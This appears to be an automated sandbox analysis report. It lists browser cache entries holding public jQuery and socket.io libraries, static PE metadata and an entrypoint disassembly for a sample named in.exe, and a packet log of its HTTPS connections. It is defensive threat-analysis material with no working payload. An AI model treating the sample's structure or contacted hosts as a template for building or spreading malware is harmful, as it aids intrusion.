Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	211903
Entropy (8bit):	4.963549939959261
Encrypted:	false
SSDEEP:	6144:qxbQw+HScbPC4lPEYTHfOo28V4gTWyysauiCavyVyfg2YTs/:6CTs/
MD5:	25C4C6610F9CC7AB58B9EB2E5E9EC8E1
SHA1:	B220C3F0AE8CB325A57E9082F7DD47602E204FB3
SHA-256:	0FBADE78BBD7DF1292D1AC6595DFFB1CD06E05B2429CFD553EF5D79974C0B84D
SHA-512:	1783991B6A937A56D340729EFCDAE3AF3812831447C10C65FAFB8C37DC8C3E640CFE662D6BBBA1C0991297D1AE3CB2DEAA2709FAB968C520547C84890F5941EC
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/socket.io/1.7.1/socket.io.js
Preview:	(function webpackUniversalModuleDefinition(root, factory) {..if(typeof exports === 'object' && typeof module === 'object')...module.exports = factory();..else if(typeof define === 'function' && define.amd)...define([], factory);..else if(typeof exports === 'object')...exports["io"] = factory();..else...root["io"] = factory();.})(this, function() {.return /****/ (function(modules) { // webpackBootstrap./**/ .// The module cache./**/ .var installedModules = {};../**/ .// The require function./**/ .function __webpack_require__(moduleId) {../**/ ..// Check if module is in cache./**/ ..if(installedModules[moduleId])./**/ ...return installedModules[moduleId].exports;../**/ ..// Create a new module (and put it into the cache)./**/ ..var module = installedModules[moduleId] = {./**/ ...exports: {},./**/ ...id: moduleId,./**/ ...loaded: false./**/ ..};../**/ ..// Execute the module function./****/ ..modules[moduleId].call(module.exports

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.580830715230173
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	in.exe
File size:	195'584 bytes
MD5:	9a68fc12ec201e077c5752baa0a3d24a
SHA1:	95bebb87d3da1e3ead215f9e8de2770539a4f1d6
SHA256:	b70922e48b9ae3e22fc28c3bf598785081bb34678c84ba11793dc7f70cacdc0f
SHA512:	9293e0384d3244b8b237072e910d4ee3dc40e72d839e1ce74fe554d4802ca59947a514f86a5430434e24c86dbd7f82aa3d7d1489806b2f0858e99aca5a580df5
SSDEEP:	3072:Nq6+ouCpk2mpcWJ0r+QNTBfub4dwu+qtmAeA1gMXt:Nldk1cWQRNTBmA9
TLSH:	C914A551F1D8BCD7C76705B13C3AF6802199BF99463C996AA732790A41B21C330FAE5E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....................0....@..........................@.............................................

File Icon


Icon Hash:	1262a1a0aa92aa8a

Static PE Info

General

Entrypoint:	0x401000
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5D400562 [Tue Jul 30 08:52:50 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	5877688b4859ffd051f6be3b8e0cd533

Entrypoint Preview

Instruction
push 000000ACh
push 00000000h
push 00418010h
call 00007F59C1204651h
add esp, 0Ch
push 00000000h
call 00007F59C120464Ah
mov dword ptr [00418014h], eax
push 00000000h
push 00001000h
push 00000000h
call 00007F59C1204637h
mov dword ptr [00418010h], eax
call 00007F59C12045B1h
mov eax, 00417088h
mov dword ptr [00418034h], eax
call 00007F59C120D3D2h
call 00007F59C120D13Eh
call 00007F59C120A038h
call 00007F59C12098BCh
call 00007F59C120934Fh
call 00007F59C12090C9h
call 00007F59C1208BEDh
call 00007F59C120836Dh
call 00007F59C1204935h
call 00007F59C120BCB8h
call 00007F59C120A760h
mov edx, 0041702Eh
lea ecx, dword ptr [0041801Ch]
call 00007F59C12045C8h
push FFFFFFF5h
call 00007F59C12045D8h
mov dword ptr [0041803Ch], eax
mov eax, 00000200h
push eax
lea eax, dword ptr [004180B8h]
push eax
xor eax, eax
push eax
push 00000015h
push 00000004h
call 00007F59C1209312h
push dword ptr [004180A0h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1717c	0xc8	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x1a408	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17470	0x22c	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x37f0	0x3800	6c0f4094a5493360ae8c9032ef3a9f47	False	0.47140066964285715	data	5.608776130769213	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.text	0x5000	0xd2c2	0xd400	1da643e4b1937b50550f9d9e8250428e	False	0.5114239386792453	data	6.558083729279072	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x339d	0x3400	4fb07923b0eb72c40319d48fd2d4f13f	False	0.8046123798076923	data	7.110640338733979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x172c	0x1200	fdf601ef72ac1d4981a9fc6d66eae49e	False	0.3943142361111111	data	4.999552879942267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x19000	0x1a408	0x1a600	17ffd0e6f299df7108ab7fc97b728b44	False	0.10372852488151658	data	3.857161125866167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x1939c	0xdcf	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.925035360678925
RT_ICON	0x1a16c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.02200402224062463
RT_ICON	0x2a994	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.05402692489371753
RT_ICON	0x2ebbc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.0766597510373444
RT_ICON	0x31164	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.12781425891181988
RT_ICON	0x3220c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.28102836879432624
RT_RCDATA	0x32674	0xab1	data	1.0040189989039094
RT_RCDATA	0x33128	0x9	data	1.8888888888888888
RT_RCDATA	0x33134	0x1	very short file (no magic)	9.0
RT_RCDATA	0x33138	0xe	zlib compressed data	1.5714285714285714
RT_GROUP_ICON	0x33148	0x5a	data	0.7666666666666667
RT_MANIFEST	0x331a4	0x263	XML 1.0 document, ASCII text	0.5319148936170213

Imports

DLL	Import
MSVCRT.dll	memset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, memcpy, tolower, wcscat, malloc
KERNEL32.dll	GetModuleHandleW, HeapCreate, GetStdHandle, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, GetExitCodeProcess, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetNativeSystemInfo, GetShortPathNameW, GetWindowsDirectoryW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, Sleep, GetProcAddress, GetVersionExW, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, TerminateProcess, SetUnhandledExceptionFilter, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, InterlockedCompareExchange, InterlockedExchange, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, DuplicateHandle, RegisterWaitForSingleObject
USER32.DLL	CharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, DestroyWindow, GetWindowLongW, GetWindowTextLengthW, GetWindowTextW, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, EnableWindow, GetSystemMetrics, CreateWindowExW, SetWindowLongW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
GDI32.DLL	GetStockObject
COMCTL32.DLL	InitCommonControlsEx
SHELL32.DLL	ShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
WINMM.DLL	timeBeginPeriod
OLE32.DLL	CoInitialize, CoTaskMemFree
SHLWAPI.DLL	PathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:34:23.446497917 CET	49674	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:23.446533918 CET	49675	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:23.550271988 CET	49673	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:27.842968941 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:27.843040943 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:27.843126059 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:27.854244947 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:27.854268074 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:29.444452047 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:29.444539070 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:29.459676981 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:29.459697008 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:29.460711002 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:29.483405113 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:29.531331062 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:30.433864117 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:30.434087992 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:30.434132099 CET	443	49704	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:30.434144974 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:30.434211969 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:30.467722893 CET	49704	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:30.684104919 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:30.684174061 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:30.684303999 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:30.684695005 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:30.684711933 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:31.898782015 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:31.898909092 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:31.901942015 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:31.901966095 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:31.902235031 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:31.903076887 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:31.943346024 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.380976915 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.426280975 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.903065920 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.903127909 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.903142929 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.903178930 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.903189898 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.903199911 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.903228045 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.903228998 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.903275013 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.949032068 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.949103117 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.949139118 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.949187994 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:32.949220896 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:32.949285030 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.059343100 CET	49674	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:33.059362888 CET	49675	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:33.060559034 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.060591936 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.060684919 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.060729027 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.060770988 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.060791969 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.150964975 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.151016951 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.151308060 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.151400089 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.151480913 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.155287027 CET	49673	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:33.187272072 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.187357903 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.187402010 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.187432051 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.187464952 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.187484980 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.216229916 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.216309071 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.216363907 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.216403008 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.216433048 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.216454029 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.281008959 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.281068087 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.281239033 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.281291962 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.281388044 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.308145046 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.308197975 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.308283091 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.308319092 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.308353901 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.308398962 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.328197002 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.328248024 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.328300953 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.328340054 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.328366041 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.328387976 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.349061012 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.349113941 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.349163055 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.349205017 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.349236965 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.349275112 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.363898039 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.363951921 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.363971949 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.363991022 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.364048958 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.364048958 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.384429932 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.384479046 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.384511948 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.384529114 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.384560108 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.384577990 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.398190022 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.398236036 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.398277998 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.398296118 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.398324966 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.398344994 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.413871050 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.413914919 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.413970947 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.414004087 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.414030075 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.414062023 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.428256989 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.428318024 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.428354025 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.428370953 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.428426027 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.428426027 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.442811966 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.442850113 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.442900896 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.442923069 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.442953110 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.442987919 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.456470013 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.456501961 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.456549883 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.456569910 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.456603050 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.456620932 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.467659950 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.467686892 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.467751980 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.467798948 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.467823029 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.467853069 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.478849888 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.478873014 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.478926897 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.478945017 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.478972912 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.478998899 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.482059002 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.490163088 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.490189075 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.490241051 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.490271091 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.490299940 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.490335941 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.494216919 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.500679970 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.500703096 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.500747919 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.500777006 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.500802040 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.500827074 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.510061026 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.510085106 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.510160923 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.510184050 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.510236025 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.517364025 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.517385006 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.517457962 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.517481089 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.517507076 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.517537117 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.520440102 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.523819923 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.523844004 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.523920059 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.523941994 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.523969889 CET	49705	443	192.168.2.5	185.199.111.133
